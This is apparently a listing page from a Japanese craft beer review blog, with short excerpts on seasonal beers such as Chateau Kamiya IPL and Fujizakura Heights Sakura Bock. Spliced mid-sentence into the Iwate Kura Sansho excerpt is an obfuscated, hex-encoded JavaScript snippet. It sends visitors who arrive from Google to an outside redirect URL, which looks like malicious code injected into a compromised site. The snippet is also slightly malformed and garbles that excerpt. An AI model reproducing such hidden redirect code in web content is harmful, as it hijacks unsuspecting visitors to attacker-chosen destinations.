Chateau Kamiya IPL by Ushiku Brewery

Chateau Kamiya IPL

Chateau Kamiya IPL is a spring seasonal India pale lager from Ushiku Brewery that is on sale from mid-April onwards. Fermented like a lager, but hopped like an ale, India pale lagers are slowly becoming the new bastard offspring of beer. Chateau Kamiya IPL has an abv of 7% and can be found at the Chateau Kamiya grounds for a limited …

Iwate Kura Japanese Ale Sansho by Sekinoichi Shuzo

Iwate Kura Japanese Ale Sansho

Sansho is fast becoming a popular adjunct in Japanese beers and with Iwate Kura Japanese Ale Sansho, Sekinoichi Shuzo have produced an spring seasonal spiced herb beer var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. It’s a 5% beer that is made with locally sourced sansho, known as mountain pepper, locally sourced from Ichinoseki. Iwate Kura Japanese Ale Sansho is on sale from mid February and has …

Kure Ginjo Beer by Kure Beer

Kure Ginjo Beer 呉吟醸ビール

Kure Ginjo Beer is a dunkler bock style beer from from Kure Beer, based in Hiroshima, Japan. It’s a spring seasonal with an abv of 7% and is on sale from mid-February onwards. It’s unique in that it is first brewed using German yeast in the primary fermentation stages and then has ginjo sake yeast added in the secondary fermentation. …

Miyazaki no Minori Hyuganatsu by Hideji Beer

Miyazaki no Minori

Look at that bottle! Great bottle design always impresses me and Miyazaki no Minori Hyuganatsu grabbed my attention enough in World Gourmet to warrant a purchase. It is the beer equivalent of all those puppy and cat memes that went around late 2014. Miyazaki no Minori Hyuganatsu is a 5% fruit beer, a style that has not done so well on BeerTengoku, …

Fujizakura Heights Sakura Bock by Fuji Kanko Kaihatsu

Fujizakura Heights Sakura Bock 富士桜高原さくらボック

Fujizakura Heights Sakura Bock is a doppelbock style beer from Fuji Kanko Kaihatsu in Yamanashi. It’s an 8% spring seasonal that can be found on the shelves for quite a while due to its long shelf life of around six to eight months. It’s also a multiple award winning beer, having even won awards for World’s Best German Pale Lager, even …

Kyoto Machiya Hannari IPA by Kinshi Masamune Shuzo

Kyoto Machiya Hannari IPA

Kyoto Machiya Hannari IPA is an IPA by Kinshi Masamune Shuzo. The beer itself is a collaboration between Kinshi Masamune Shuzo and sellers of great Japanese craft beer, Yamaoka Saketen. Kyoto Machiya Hannari IPA is also a seasonal special and there is very little information about when it is on sale, though I got this on a recent trip to Kyoto. Kyoto Machiya …

Shiga Kogen Domestic Dry Stout by Tamamura Honten

Shiga Kogen Domestic Dry Stout 志賀高原ドメスティックドライスタウト

Shiga Kogen Domestic Dry Stout is a summer seasonal beer from Tamamura Honten that is a 5% dry stout, also sometimes known as an Irish-style stout. The reason why the appellation “domestic” has been added to the name is that Shiga Kogen Domestic Dry Stout is brewed using locally sourced barley that is organically grown at the Tamamura Honten estate at the foot …

Fujizakura Heights Rauch Weizenbock by Fuji Kanko Heights

Fujizakura Heights Rauch Weizenbock

Fujizakura Heights Rauch Weizenbock is a summer edition beer from Fuji Kanko Heights with an abv of 7.3%. Take a regular weizenbock recipe and add some flame dried malts to end up with this rauch, or smoked, beer. Fujizakura Heights Rauch Weizenbock is available in both bottled and on draft form. Fujizakura Heights Rauch Weizenbock Aroma and Taste I still couldn’t get …

Tainai Kogen Alt by Tainai Kogen Beer

Tainai Kogen Alt 胎内高原アルト

Tainai Kogen Alt is an alt style beer not from Niigata Brewery, the parent company, but rather Tainai Kogen Beer- even though the former is emblazoned across the bottle while the latter is hidden away. Tainai Kogen Alt is brewed using dark, roasted malt in the mix to produce a 5.5% beer. Tainai Kogen Alt Aroma and Taste I first heard of Tainai …

Minamishinshu IPA by Minamishinshu Beer Company

Minamishinshu IPA

A strange one from Japan but Minamishinshu IPA is a spring seasonal from Minamishinshu Beer Company that seems to be available all-year round though not in production for the whole time. Minamishinshu IPA has an abv of around 6% and is top-fermented though it is packed with four times the amount of hops that Minamishinshu Beer Company usually puts in their beers. Minamishinshu IPA …